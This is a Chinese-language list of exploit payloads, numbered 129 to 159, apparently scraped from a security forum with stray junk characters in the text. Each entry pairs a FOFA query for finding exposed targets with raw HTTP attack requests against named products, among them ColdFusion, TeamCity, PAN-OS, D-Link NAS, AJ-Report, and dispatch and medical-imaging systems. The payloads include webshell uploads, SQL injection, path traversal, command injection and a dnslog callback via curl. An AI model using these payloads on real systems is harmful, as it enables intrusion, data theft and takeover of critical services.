# ?9 y8 b1 A$ G0 ^7 V' y6 H/ `; l  ~& MFOFA：app="Adobe-ColdFusion"
3 N0 |7 d$ H; H4 cPAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
: D' |. z4 E' D+ ~8 {# iGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
. Z  b# {8 I5 r$ E0 k; g4 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 J% A6 k8 O4 ^Accept: */*
Accept-Encoding: gzip, deflate
4 {4 m9 z$ p, Z/ h% YConnection: close

. N% v, `( Q8 q9 e! @$ A  L( P
0 b. D- ^1 w* \9 K9 L4 x第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 O, \3 L; S5 v/ ^: EAccept: */*
( n8 O* s6 }2 [- j$ y% ?  tAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
" C7 a: ~4 ]' y7 q* n

; O' W' c2 o/ F" a. s  ?130. Laykefu客服系统任意文件上传
5 b: x2 Q7 K  g$ k9 bFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
2 n0 Y. v0 L& Z" n9 d% t6 P6 NAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
& P( U: ?' p# M4 cUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
/ x. W& g; n( y  A3 F4 x' v5 b: d1 CContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
1 a( e4 _2 J* b+ w: \. b5 T9 P6 pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ Y) ]) g* k& ]% ~6 ACookie: user_name=1; user_id=3
Connection: close

3 Q/ y1 \2 l4 i: \------WebKitFormBoundary3OCVBiwBVsNuB2kR
; y, q4 G0 q6 oContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
* h& v: n. q' B2 e, }2 b( B7 n------WebKitFormBoundary3OCVBiwBVsNuB2kR--
$ y5 {: a7 M; U: Y

% x3 d  t, f' m8 q131. Mini-Tmall <=20231017 SQL注入
$ p0 P! B4 }3 q7 W- @7 d/ jFOFA：icon_hash="-2087517259"
! W$ ^7 G1 j# Z后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
, _8 L; |- f9 g' \- WCVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
7 a/ I1 O6 F" a& y4 ~1 GHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
/ ~+ ^8 M1 g  {/ f" I6 DContent-Type: application/json
4 i, I' G+ l& @Accept-Encoding: gzip, deflate
  l, L0 L0 C: q/ Q: ?# Z/ {' D
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
" z# Y( \0 x2 M' q# Q- E

CVE-2024-27199
) m# @5 m  [: a6 V" J5 d/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
# K8 U3 }# q" h3 i4 z/ t  Q/update/../admin/diagnostic.jsp
/ J$ u' Q( v$ }9 h+ O! l9 p* i
  Z7 d, q. y3 R, }8 T4 u/ J
  C) c4 H! {2 t" h8 QCVE-2024-27198-RCE.py

% O7 O; H+ I, [; w# H133. H5 云商城 file.php 文件上传
" x/ a' o+ |; h* YFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
/ _3 X# x' _2 B! C! iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
5 o* }+ w+ F2 ~2 f" SContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
/ u( ~& ]2 ~( p
* D7 Z5 o0 z2 a& ]+ l5 o<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

5 A3 ?! |0 G5 I- t+ V2 C0 |

$ A1 @+ I. `% L/ R% p& s134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
3 J! h3 n8 m6 F0 g; N2 uFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
( r4 V( k, I. V  E- Y+ _, pHost: x.x.x.x
7 v. [5 ]% Y" a$ A" a; v# ACookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) y$ Y/ I4 y; u+ _, `3 f; f* a3 a. f. xAccept-Encoding: gzip, deflate
) t# x: D- J9 J9 c& h% \Sec-Fetch-Dest: empty
' J$ x: v5 [8 {Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
2 x% [* c0 E2 iTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

' V, I, a' K2 _
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
; K& Z6 X) k8 YCVE-2024-2022
+ f5 k1 @4 L- _% M3 z; P( uNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
' {, b! _4 t+ }6 G6 ^# N8 ^7 [Host: x.x.x.x
( f. s5 y* Q2 M) J. UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 ]! e7 r$ Q, U7 |# U: k. G2 @' VAccept-Encoding: gzip, deflate
. ?& u& J) h0 lAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ B5 k! [3 L& P) Z( N
7 @" H2 l" c; d! T6 ^
136. NextChat cors SSRF
( f& H2 |9 a$ CCVE-2023-49785
FOFA：title="NextChat"
' `: v$ I! l# Z0 k# g9 O/ nGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
" d1 b' E! P, n, SHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% D4 P3 H# @  }Connection: close
# h! r' j; ?* a% l: t; J; NAccept: */*
) j! j! i0 |5 @Accept-Language: en
8 U& T7 x- @" O$ g2 kAccept-Encoding: gzip

+ B/ C, x: J0 p7 n& L7 }$ b
1 d+ G: Z# ~/ Q+ q- K  g' i) g/ k3 c137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
+ c% N8 l9 e2 T8 ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: l, r% y4 w5 I/ fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
+ v/ Y5 s( V: ]9 p# @( k& ?$ bCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
' ]$ e; k' P, g" h+ \Upgrade-Insecure-Requests: 1
8 o% D* p8 a) O( d+ s* Q

' f& B* N% Q. V5 [138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
7 B3 q/ y% k( Y5 p* pFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
% q. E" }* `- V& u, `( y; c0 _Host: x.x.x.x
% a) D4 z4 d! [- \# IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
; @( ?/ ]# O6 B, w9 a+ y  FConnection: close
) V8 a1 p; S  ]4 ~Upgrade-Insecure-Requests: 1
) y  z# |0 W+ s. H' Y+ h7 L

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
3 K8 s$ A  w5 t4 x4 Q/ o5 l0 a9 mCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; z! `0 s+ A) T3 p! s) q9 z% @GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
" x& X! x- w8 U2 k: pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
. K+ e( U8 |7 N9 T8 CCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ S9 A! C) W8 z, [- [2 i0 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ [6 H! w8 B" E: [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, C" Z. b" ?6 Q! SAccept-Encoding: gzip, deflate, br
Connection: close
2 f2 c; w% s4 F# ]9 R) S# yCookie: authcode=h8g9
3 m4 }$ g9 S& [8 Z' B9 WUpgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
% s2 f' c8 {, r, BFOFA：body="指挥调度管理平台"
3 k+ u# U% }- o: v) Y! wPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
/ E+ R) [& B/ e  ^& y2 nUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
2 P" e  M$ r1 s4 ?Content-Type: application/x-www-form-urlencoded
8 P/ L$ I! u1 n+ T
) _( J5 c) m& q
! E3 O( d& b: |$ d7 @, wdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
& w, y( ~7 A8 n# ]! d7 O2 V

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
% v* b. K1 z% A' h) Z143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
  }4 M  T8 d! WFOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
& U& p) t4 L% y5 w& NFOFA：app="D_Link-DNS-ShareCenter"
: K1 ^; O4 `# y) }system参数用于传要执行的命令
& p8 c' D& n4 b- YGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
+ r+ g! }$ ^/ M9 |7 KAccept: */*
' L+ S# {/ o4 bAccept-Language: en
Accept-Encoding: gzip

  P: }' Z. w8 @  J! x% e( h8 c4 n! c
/ z& }9 e/ @: i( [% U. V7 E145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
* W2 R+ V, N: A7 k8 ~' a& x- rCVE-2024-3400
FOFA：icon_hash="-631559155"
7 D' C* k# P2 q" UGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
8 H. m  p) }" U/ S$ _Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


+ a  x# U4 Q  O. `# G. \146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
' t/ N+ E& _  A" ]7 N! OGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
/ p* h4 A0 Q2 ^  h  i$ t2 pAccept-Encoding: gzip, deflate
Connection: close
; Z! H- d) B$ P
8 r% o( H/ X* l- V9 j
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
0 F- ]/ ]  C. ~) M7 z- Q) `5 tCVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
% y, L+ K- P! o5 n  t2 a  u5 yHost: 127.0.0.1:81
Cache-Control: max-age=0
) I8 e" b# L6 b$ t: w+ zConnection: close
7 }1 j2 B1 `$ v# Y2 a
* j3 _& J, w+ o& k3 a
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
1 o* o6 y9 L: K, G
/ J# n# ]: Q9 G1 c; `0 j, z149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

- O& h2 _, |+ P# I, OPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ {6 |  \# h4 f0 L& Y7 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 }7 f$ [% S# x* l% t5 n7 A* WAccept-Encoding: gzip, deflate, br
, ]7 y0 N. N( UAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
# B2 b8 Q( e1 g4 k5 G+ n5 r7 T2 H! KConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
2 `& E- V, N& x! z/ YFOFA：title="AJ-Report"
: P  z, ~% {% J) B' nPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
5 l& X9 A) e7 f: J& kHost: x.x.x.x
! |! a2 Z- g9 \7 P- {8 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
1 O7 T6 _& w/ K6 OAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
. k. S+ P$ M0 O! t) m! Y$ ^1 mContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
& Y% s6 Y% C7 U- w% g

151. AJ-Report 1.4.1 pageList sql注入
4 x1 `" d, m( @9 C8 V& ^+ w- SFOFA：title="AJ-Report"
4 }4 B6 H$ D: IGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
* H4 w; I0 _& L& B( W: n8 cHost: x.x.x.x
  J$ j0 f* l. v9 V0 ^/ ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
# |  f( ~$ u; x+ o, w! M: LCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
$ f3 F  k2 b4 ZHost: x.x.x.x
1 k2 |0 B; H4 E( J. E! t& vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
8 p& V: h' ?8 ~; e! a& a9 d- B5 fAccept-Encoding: gzip
0 e$ x, G6 p; O

1 h0 A9 \, I# }/ B; U& r1 p  m* [0 g1 C; n153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
4 U% f7 n) R: P1 F- E0 P9 w第一步，请求/config文件获取componets的id
# v5 |) n* s+ I$ L" L' N, [http://x.x.x.x/config

; x3 y' V, u( \7 U6 i
7 t& h. x; t' \% x& y* k4 ~第二步，将/etc/passwd的内容写入到一个临时文件
" W6 U9 ?3 K' HPOST /component_server HTTP/1.1
/ x+ ~7 ~; D, |  @9 r5 kHost: x.x.x.x
( Z* ^& t( Y" D/ o9 e# }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
4 E2 ]' n/ L) |/ b4 g0 v. F/ Z$ U0 A; RContent-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
! L% r! p+ h! b5 E) f

第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
/ l# M$ c) a$ f
8 w; g& [4 m7 ?* ^+ I7 t
1 F0 W9 ]) @8 }- c4 B154. 天维尔消防救援作战调度平台 SQL注入
* I; a( \8 ~7 q* i/ C4 {' w$ ?! KCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
9 h$ p9 h: K) O+ RPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
" W7 T8 u6 t/ \) @% FHost: x.x.x.x
Content-Length: 106
4 ?, X( v4 }2 e3 Z1 y1 J7 ECache-Control: max-age=0
. G% r8 z) \  i% M* I! FUpgrade-Insecure-Requests: 1
$ h- n; P2 w' }$ x: zOrigin: http://x.x.x.x
Content-Type: application/json
  Y  i0 v4 u; Z! Y! v3 c  jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
* t: h; `6 T3 G! @6 z5 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
+ Y: d9 k# O9 f0 E: K2 fAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
! j- F4 ~% C% }Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

  M9 r. G& M. p8 h/ H6 k
9 S: l4 w) I9 S) T155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
- i( v$ l# p/ m4 D' u9 S- v0 yPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
# i& Y+ o- W/ |& iConnection: close
# s% k5 L) I* X0 m* S' ^8 [Content-Length: 232
: V" V- v  q2 Z& J( s+ K, FAccept: application/json, text/javascript, */*; q=0.01
/ W8 i$ P. ?; k0 X& jAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- g; V0 T: l1 I! XContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
6 k# c( l& a8 q/ E# y) PX-Requested-With: XMLHttpRequest
* E3 u5 D! v* Y# V7 M; ~
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

& r' T. X. Q9 M3 t7 _; k( W5 Y<?php phpinfo();unlink(__FILE__);?>
5 \( e. _* D$ b% M+ Y( K& r-----------------------------qttl7vemrsold314zg0f--

+ s9 C6 a* f4 y4 }1 ^
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
3 `  R. p" F, r( Z5 }FOFA："Location: /login.rsp"
·TBK DVR-4104
4 T6 O6 W5 `3 ^$ G" r·TBK DVR-4216
1 ]( O8 l/ G' v; N$ N8 J" Dcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

, r  r) s2 W( l' u$ m
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
7 L, o3 r8 [& y, p1 X3 V3 [) CHost: x.x.x.x
- ?% o3 O" u  k$ a2 `( `User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ K$ _  S; N- F! N; KConnection: close
Content-Length: 0
& w% w- C1 z6 yCookie: uid=1
8 B* ^, l6 _- W# O, O$ b4 _% F+ ^Accept-Encoding: gzip
2 E3 u, {5 I6 m

8 S9 `* r" s$ g# \& u# `  m157. 美特CRM upload.jsp 任意文件上传
. f* F. J! F5 N/ |CNVD-2023-06971
6 M4 u$ s! J/ ~, Q& b: C5 Z, \FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
2 ^! h) r; }8 H: B% ^. x; ~# zContent-Length: 709
  Y6 n( f& g. h) r+ I. oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! r+ J! `$ R( E& X' z6 P5 Q# aAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
: A8 u7 ~3 A# r! s  h0 O* o* _4 yConnection: close
$ Z/ C5 A; {# ^( [% W% m# d2 P2 WContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
3 b* N1 r, y( a8 J" u& T
------WebKitFormBoundary1imovELzPsfzp5dN
9 O" B" \$ u6 HContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
$ Q; C% {, A' l; F) NContent-Type: application/octet-stream

- ]8 A/ Y: E3 A8 cnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
8 K" D) W2 p2 Z1 S  ~: B/ @Content-Disposition: form-data; name="key"

- Z1 E* s1 ~/ f! ]7 V6 Hnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

& T4 y# M: B% n" f" R) L/ \0 dnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

( L; d2 B% J; i4 Mnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

' D7 h% g' v+ p% m% L& F1 Tnull
% V% p' T7 Z7 y------WebKitFormBoundary1imovELzPsfzp5dN--
- }/ I7 @0 s/ W5 E  R

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

* w" y) Y2 R* U8 J/ Y158. Mura-CMS-processAsyncObject存在SQL注入
) _+ B- t1 k- \: \4 RCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
- i7 b& W3 q2 r& Y. l6 n" f; m; W  jContent-Type: application/x-www-form-urlencoded
8 J" c3 V) C4 W& w5 s4 h9 {
object=displayregion&contenthistid=x\'&previewid=1
  V5 ?. b2 v4 [3 N  @) c
" b" ]( h8 p. Z# ^6 Q4 b. T# J5 P
0 R8 p& p& R: C* f159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
" t  I) c5 y  u# `  ^1 }POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
) b: y* L5 Y# E6 c2 O0 hContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
  _( l- _6 s0 v6 ^$ t: ~4 ?" m- |Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
" q" ]. m! S( Y<soap:Body>
& n) I5 t1 s4 s& N$ h<jobUpload xmlns="http://rainier">
